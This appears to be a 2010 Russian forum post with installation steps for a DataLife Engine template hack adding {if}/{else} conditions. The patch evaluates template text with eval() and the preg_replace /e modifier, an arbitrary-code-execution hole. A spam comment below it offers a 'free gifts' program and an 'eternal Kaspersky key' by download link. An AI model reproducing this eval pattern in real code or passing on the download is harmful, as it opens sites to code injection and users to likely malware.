Автор: admin
19-04-2010, 15:43

Шаблонизатор. Условия if-else


Данных хак позволяет добавить условие {if}|{else} в шаблон.
Подробней в полной новости.


Отличие данного хака есть то что мы сможем работать с переменными активных модулей и самой Dle посредством редактирования шаблона.

Установка проста.
Открываем: \engine\classes\templates.class.php
Находим:
        if (strpos ( $template, "[not-group=" ) !== false) {
            $template = preg_replace ( "#\\[not-group=(.+?)\\](.*?)\\[/not-group\\]#ies", "\$this->check_group('\\1', '\\2', false)", $template );
        }


Ниже вставляем:
        if (strpos ( $this->template, "{if " ) !== false) {
        $this->template = preg_replace ( "#\\{if (.+?)\\}(.*?)\\{/if\\}#ies", "\$this->check_else('\\1', '\\2', false)", $this->template );
        }




Находим:
function get_real_time() {



Выше вставляем:
    function check_else($condition, $block)
    {
        global $GLOBALS;
        extract($GLOBALS, EXTR_SKIP, "");
        if(is_array($matches=explode("{else}",$block))) {
            $block=$matches[0];
            $else=$matches[1];
        }
        if(eval(("return $condition;"))) return str_replace( '\"', '"', $block );
        return str_replace( '\"', '"', $else );
    }


Установка завершена.

Как этим пользоваться?
Нужны хоть общие понятия в языке php

Примеры:
Допустим нам надо сделать вывод зарегистрирован ли данный пользователь на сайте, но сделать это надо не в login.tpl, а, допустим, в main.tpl ну или в выводе короткой новости.
Делается это очень просто:
{if $is_logged}
Вы пользователь!
{else}

Вы гость
{/if}


Ну или сделать сообщение о просьбе зарегистрироваться:
{if !$is_logged}
Зарегистрируйтесь на сайте!
{/if}


Автор: Lion__
Комментарии (1)
Просмотров: 1301
Фото

Регистрация: 19.11.2010 Автор: abramovich2011Сообщений: 52ICQ:
Программа для бесплатной отправки подарков вконтакте и в одноклассниках.
Единственная рабочая версия.

плюс
Вечный ключ для Касперского всех версий.
Забанить невозможно !!!


http://letitbit.net/download/30346.32110436a248b63b235790c776c8/SuperPack.rar.ht
ml

   

Информация

Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.